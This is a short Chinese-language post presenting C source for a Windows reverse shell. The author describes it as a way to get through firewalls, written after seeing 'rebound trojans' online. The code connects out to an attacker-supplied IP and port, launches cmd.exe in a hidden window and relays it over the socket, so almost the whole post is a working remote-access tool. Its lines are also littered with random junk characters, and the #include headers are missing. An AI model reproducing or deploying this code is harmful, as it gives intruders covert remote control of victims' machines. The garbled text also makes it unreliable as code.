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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &lAQ &  
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/* ============================== [oV{83f  
Rebound port in Windows NT CRFCqmevR  
By wind,2006/7 v "Me{+  
===============================*/ 6*IpAIh  
#include \PpXL*.  
#include 7K&}C;+  
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#pragma comment(lib,"wsock32.lib") E\0X`QeY  
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void OutputShell(); }g`Gh|C  
SOCKET sClient; 8L%M<JRg~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -hWC_X:9jP  
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void main(int argc,char **argv) [C1 LT2a  
{ bAf,aV/C&|  
WSADATA stWsaData; g\U/&.}DN  
int nRet; wtXY: O  
SOCKADDR_IN stSaiClient,stSaiServer; %Rp8{.t7  
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if(argc != 3) IdPn%)>6  
{ "O*x' XhN  
printf("Useage:\n\rRebound DestIP DestPort\n"); |; $Bb866/  
return; J$Fnm\  
} c<wavvfUo  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -Ep!- a  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yGTziv!  
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stSaiClient.sin_family = AF_INET; Yi(1^'Bi  
stSaiClient.sin_port = htons(0); brh=NAzt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -v+&pG?m  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w u)Wg-dT  
{  ~,"N[Q  
printf("Bind Socket Failed!\n"); B8T\s)fxnX  
return; +4et7  
} $&hN*7Ts  
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stSaiServer.sin_family = AF_INET; 8d!GZgC8R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qzqc .T  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a+`D'?z  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3JO]f5  
{ ~6`iY@)  
printf("Connect Error!"); *5k+t  
return; wv?RO*E  
} pr tK:eGe2  
OutputShell(); tdep|sD  
} A%u_&a}  
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void OutputShell() +dk f cG  
{ 9sSN<7  
char szBuff[1024]; =su]w2,Iy  
SECURITY_ATTRIBUTES stSecurityAttributes; <8!  Tq  
OSVERSIONINFO stOsversionInfo; $7Z)Yp&T  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wpXgPVZT  
STARTUPINFO stStartupInfo; 2N5`'  
char *szShell; v4rW2F:X  
PROCESS_INFORMATION stProcessInformation; {EA1vo"  
unsigned long lBytesRead; p[9s<lEh  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p@~ic#X  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |4;UyHh  
stSecurityAttributes.lpSecurityDescriptor = 0; u.,Q4u|!  
stSecurityAttributes.bInheritHandle = TRUE; J0Z7 l  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); * **a2Z/(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uo2'"@[e  
! zL1;d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;AX8aw,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f>2MI4nMG  
stStartupInfo.wShowWindow = SW_HIDE; wM~H(=s`D  
stStartupInfo.hStdInput = hReadPipe; wi_'iv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SmhGZ  
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GetVersionEx(&stOsversionInfo); \]uV!)V5B  
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switch(stOsversionInfo.dwPlatformId) -]srp;=i  
{ 3Fs5RC~a  
case 1: a0=WfeT  
szShell = "command.com"; LzML%J62  
break; -C-yQ.>\T#  
default: jQS 6J+F]  
szShell = "cmd.exe"; c9wfsapJ  
break; UAn&\8g_  
} AY,].Zg[  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k V;fD$iW;  
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send(sClient,szMsg,77,0); -0Cnp/Yj@  
while(1) ~q+hV+fa>  
{ Q>Qibr  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "4o=,$E=  
if(lBytesRead) ea'&xs#GK  
{ H[ m <RaG8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P 43P]M2  
send(sClient,szBuff,lBytesRead,0); 0[Ht_qxb  
} rx0~`cVV:  
else -' g*^  
{ a u7.4ln>Y  
lBytesRead=recv(sClient,szBuff,1024,0); v&a4^s  
if(lBytesRead<=0) break; W,XTF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3]RyTQ  
} +Q$h ]^>~  
} Wp)*Mbq@  
TX=yPq  
return; T4)fOu3]  
}
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